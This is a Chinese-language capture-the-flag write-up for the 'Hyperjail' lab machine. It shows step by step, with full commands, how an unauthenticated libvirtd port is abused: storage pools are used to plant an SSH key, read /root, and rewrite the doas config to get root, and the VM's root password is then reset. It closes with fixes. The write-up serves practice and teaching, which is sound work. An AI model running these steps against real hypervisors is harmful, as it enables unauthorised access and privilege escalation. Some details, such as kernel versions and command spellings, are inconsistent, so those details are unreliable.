

Hyperjail WP by Sublarge

环境信息

项目	内容
靶机来源	MazeSec 原创靶机
靶机名	Hyperjail
靶机作者	乔九九
目标 IP	192.168.56.220

0x01 信息收集

端口扫描

发现目标开放以下关键端口：

PORT	STATE	SERVICE	
3389/tcp	open	ms-wbt-server	← SSH（非标准端口）
16509/tcp	open	unknown	← libvirt TCP

- 16509: libvirt 远程管理端口（默认），无 SASL 认证
- 3389: SSH 服务端点，仅允许公钥认证

连接 libvirtd

	Bash
	<pre>virsh -c qemu+tcp://192.168.56.220:16509/system list --all</pre>

输出：

Id	Name	State
1	kvm799	running
-	evil-escape	shut off

发现： libvirtd 完全无认证，可直接远程管理所有虚拟机。

尝试通过 console 访问该虚拟机

Shell

```
virsh -c qemu+tcp://192.168.56.220:16509/system console kvm799
Authorization not available. Check if polkit service is running or see debug
message for more information.
连接到域 'kvm799'
转义字符是 ^] (Ctrl + ])

Welcome to Alpine Linux 3.22
Kernel 6.12.34-0-virt on x86_64 (/dev/ttyS0)

localhost login:
```

发现需要账密

libvirt 组件可操作面分析

功能	可利用性
虚拟机生命周期管理	创建/销毁/启动/停止任意 VM
VM XML 定义修改	修改 VNC、添加 qp 共享、修改内核启动参数
存储池管理	创建任意路径的目录池 → 读写宿主机任意文件
QEMU Monitor	screendump / sendkey / system_reset 等 HMP 命令
存储卷管理	vol-create / vol-upload / vol-download 文件操作

0x02 信息枚举

查看运行中 VM 配置

```
virsh -c qemu+tcp://192.168.56.220:16509/system dumpxml kvm799
```

关键信息：

- 系统：Alpine Linux 3.21
- 磁盘： `/var/lib/libvirt/images/kvm799.qcow2`
- QEMU 进程以 `root` 用户运行
- 有 serial console + VGA display
- 网络：NAT 到 192.168.122.0/24

查看存储池

```
virsh -c qemu+tcp://192.168.56.220:16509/system pool-list --all
```

Name	State	Autostart	
images	active	yes	← /var/lib/libvirt/images/
operation	active	yes	← /home/operation/

```
virsh -c qemu+tcp://192.168.56.220:16509/system vol-list --pool operation
```

Name	Path
-----	-----
.ssh	/home/operation/.ssh
alpine-virt-3.22.0-x86_64.iso	/home/operation/alpine-virt-3.22.0-x86_64.iso
copy-fail...?	/home/operation/copy-fail...?
README.txt	/home/operation/README.txt

关键发现: `operation` 存储池直接映射宿主机 `/home/operation/` 目录! 这意味着我们可以通过 libvirt 存储 API 读写该目录下的文件。

0x03 获取用户层 Shell

思路

通过 libvirt 存储池向 `/home/operation/.ssh/authorized_keys` 注入 SSH 公钥, 然后 SSH 登录。

操作步骤

1. 生成 SSH 密钥对

```
Bash
ssh-keygen -t ed25519 -f /tmp/id_ed25519 -N ''
```

2. 创建指向 .ssh 目录的存储池

由于 libvirt 目录池不支持在卷名中使用 `/`, 无法直接用 `vol-create` 创建 `.ssh/authorized_keys`。解决方案: 创建一个新的存储池直接指向 `.ssh` 目录。

```
Bash
cat > pool_ssh.xml << 'EOF'
<pool type='dir'>
  <name>sshkeys</name>
  <target>
    <path>/home/operation/.ssh</path>
    <permissions>
```

```
<mode>0700</mode>
<owner>1000</owner>
<group>1000</group>
</permissions>
</target>
</pool>
EOF

virsh -c qemu+tcp://192.168.56.220:16509/system pool-create pool_ssh.xml
```

3. 创建 authorized_keys 并上传公钥

```
Bash
virsh -c qemu+tcp://192.168.56.220:16509/system \
  vol-create-as sshkeys authorized_keys --capacity 92

virsh -c qemu+tcp://192.168.56.220:16509/system \
  vol-upload --pool sshkeys --vol authorized_keys /tmp/id_ed25519.pub
```

4. SSH 登录宿主机

```
Bash
ssh -p 3389 -i /tmp/id_ed25519 operation@192.168.56.220
```

结果：成功获得 operation 用户的 shell！

```
Bash
Hyperjail:~$ id
uid=1000(operation) gid=1000(operation) groups=1000(operation)
```

0x04 读取 Root Flag

思路

通过 libvirt 创建指向 /root/ 的存储池，读取 flag 文件。

操作步骤

```
Bash
cat > pool_root.xml << 'EOF'
<pool type='dir'>
  <name>rootdir</name>
  <target>
    <path>/root</path>
    <permissions>
      <mode>0700</mode>
      <owner>0</owner>
      <group>0</group>
    </permissions>
  </target>
</pool>
EOF

virsh -c qemu+tcp://192.168.56.220:16509/system pool-create pool_root.xml
virsh -c qemu+tcp://192.168.56.220:16509/system vol-list --pool rootdir
```

找到 flag 文件:

```
H3r315TRUEFl@g.txt    (42 bytes)
root.txt              (218 bytes)
```

下载并读取:

```
Bash
virsh -c qemu+tcp://192.168.56.220:16509/system \
  vol-download --pool rootdir H3r315TRUEFl@g.txt ./H3r315TRUEFl@g.txt
virsh -c qemu+tcp://192.168.56.220:16509/system \
  vol-download --pool rootdir root.txt ./root.txt
```

root.txt

```
Dear Operations Team.  
If you're reading this file, it means you're accessing an unauthorized file  
again!  
If I catch you  
-----  
YOU WILL BE FIRED!  
THIS IS THE FINAL WARNING  
-----
```

H3r315TRUEFI@g.txt

```
hvm{ae1edcc0-23c8-4d3d-909a-b533524c8049}
```

0x05 提权到 Root

信息收集

```
Bash  
Hyperjail:~$ cat /etc/doas.d/20-wheel.conf  
permit persist :wheel  
  
Hyperjail:~$ ls -la /usr/bin/doas  
---S---X--X 1 root root  /usr/bin/doas
```

关键发现: `doas` 有 SUID, 配置允许 `wheel` 组成员无密码执行 root 命令。但 `operation` 用户不在 `wheel` 组。

攻击思路

利用 libvirt 存储池 API 修改 `/etc/doas.d/20-wheel.conf`, 为 `operation` 用户添加 `doas nopass` 权限。

操作步骤

1. 创建指向 /etc/doas.d 的存储池

```
Bash
cat > pool_doas.xml << 'EOF'
<pool type='dir'>
  <name>doasconf</name>
  <target>
    <path>/etc/doas.d</path>
    <permissions>
      <mode>0755</mode>
      <owner>0</owner>
      <group>0</group>
    </permissions>
  </target>
</pool>
EOF

virsh -c qemu+tcp://192.168.56.220:16509/system pool-create pool_doas.xml
```

2. 下载并篡改配置

```
Bash
virsh -c qemu+tcp://192.168.56.220:16509/system \
  vol-download --pool doasconf 20-wheel.conf /tmp/20-wheel.conf

# 添加 operation 用户的无密码权限
cat > /tmp/20-wheel.conf << 'EOF'
permit persist :wheel
permit nopass operation
EOF

virsh -c qemu+tcp://192.168.56.220:16509/system \
  vol-upload --pool doasconf --vol 20-wheel.conf /tmp/20-wheel.conf
```


3. 获取 Root Shell

```
Bash
ssh -p 3389 -i /tmp/id_ed25519 operation@192.168.56.220
Hyperjail:~$ doos sh
Hyperjail:~# id
uid=0(root) gid=0(root) groups=0(root)
Hyperjail:~# cat /root/root.txt
...
```

成功获得 root 权限!

0x06 从宿主机获取 VM 内部 User Flag

获得宿主机 root 后，可挂载 VM 磁盘镜像修改 root 密码，然后登录虚拟机获取 user flag:

```
# 1. 使用 virsh 查看虚拟机磁盘挂载点:
Hyperjail:~# virsh domblklist kvm799
Target    Source
-----
vda       /var/lib/libvirt/images/kvm799.qcow2
sda       -

# 2. 利用 qemu-nbd 将 qcow2 格式磁盘挂载为块设备，加载内核 nbd 模块并建立连接:
Hyperjail:~# modprobe nbd max_part=8
Hyperjail:~# qemu-nbd --connect=/dev/nbd0 /var/lib/libvirt/images/kvm799.qcow2

# 3. 查看分区结构，识别根分区:
Hyperjail:~# fdisk -l /dev/nbd0
Disk /dev/nbd0: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 131072 bytes
Disklabel type: dos
Disk identifier: 0x5aa98e9f

Device      Boot    Start        End    Sectors    Size Id Type
/dev/nbd0p1 *        2048     616447     614400    300M 83 Linux
/dev/nbd0p2         616448    4599807    3983360    1.9G 82 Linux swap / Solaris
```

```
/dev/nbd0p3      4599808 20971519 16371712  7.8G 83 Linux
```

4. nbd0p3 为根分区 (7.8G) , 挂载并进入 chroot 环境:

```
Hyperjail:/mnt/kvm799# mount /dev/nbd0p3 /mnt/kvm799
```

```
Hyperjail:/mnt/kvm799# chroot /mnt/kvm799 /bin/sh
```

```
/ # echo 'root:123456' | chpasswd
```

```
chpasswd: password for 'root' changed
```

```
/ #
```

```
/ # sync
```

```
/ # exit
```

5. 卸载磁盘并断开 nbd 连接:

```
Hyperjail:~# umount /mnt/kvm799
```

```
Hyperjail:~# qemu-nbd --disconnect /dev/nbd0
```

6. 启动虚拟机并通过 console 登录:

```
Hyperjail:~# virsh start kvm799
```

```
Hyperjail:~# virsh console kvm799
```

```
Connected to domain 'kvm799'
```

```
Escape character is ^] (Ctrl + ])
```

```
localhost login: root
```

```
Password:
```

```
Welcome to Alpine!
```

The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems.

See <<https://wiki.alpinelinux.org/>>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

```
localhost:~# cd /root
```

```
localhost:~# ls
```

```
user.txt
```

```
localhost:~# cat user.txt
```

```
hmv{88198715-7cc1-483b-b41d-55dc9b2266fc}
```

0x07 漏洞成因与修复

漏洞 1: libvirtd 无认证监听

成因: `/etc/libvirt/libvirtd.conf` 中 `listen_tcp = 1` 且未配置 SASL 认证。

修复:

```
Bash
# 启用 SASL 认证
echo 'listen_tcp = 1' >> /etc/libvirt/libvirtd.conf
echo 'auth_tcp = "sasl"' >> /etc/libvirt/libvirtd.conf
# 或禁用 TCP 监听, 仅使用本地 socket
echo 'listen_tcp = 0' >> /etc/libvirt/libvirtd.conf
```

漏洞 2: QEMU 以 root 运行

```
Messages: tainted: running with undesirable elevated privileges
```

QEMU 进程以 root 身份运行, 导致 QEMU monitor 命令具有 root 权限。

修复: 使用专用用户运行 QEMU (如 `qemu` 用户), 配合 DAC 安全模型。

漏洞 3: doas 组权限配置

`/etc/doas.d/20-wheel.conf` 允许 wheel 组无密码提权, 一旦获得任意用户访问即可修改。

修复: 限制可修改配置的权限, 或使用 `persist` 替代完全无密码。

0x08 备选攻击路径

在解题过程中还探索了以下路径 (部分有效):

QEMU Monitor 交互

通过 QEMU monitor 可以：

- `screendump` — 截图查看 VM 显示（确认有 login 提示符）
- `sendkey` — 向 VM 发送键盘事件
- `chardev-add` — 创建字符设备
- `dump-guest-memory` / `pmemsave` — 保存内存
- `info block` / `info chardev` — 查看设备状态

但 QEMU HMP 不支持动态添加 9p 文件系统或执行任意命令。

Kernel Exploit

`/home/operation/copy-fail ... ?` 是 AF_ALG 内核漏洞利用程序，但目标内核 `6.18.32-0-lts` 不受影响（`[+] not vulnerable :)`）。

VM 内部交互

尝试通过 VGA console 登录 kvm799 Alpine VM 并利用 9p 共享访问宿主机目录，但受限于无法动态创建 fsdev 和 device。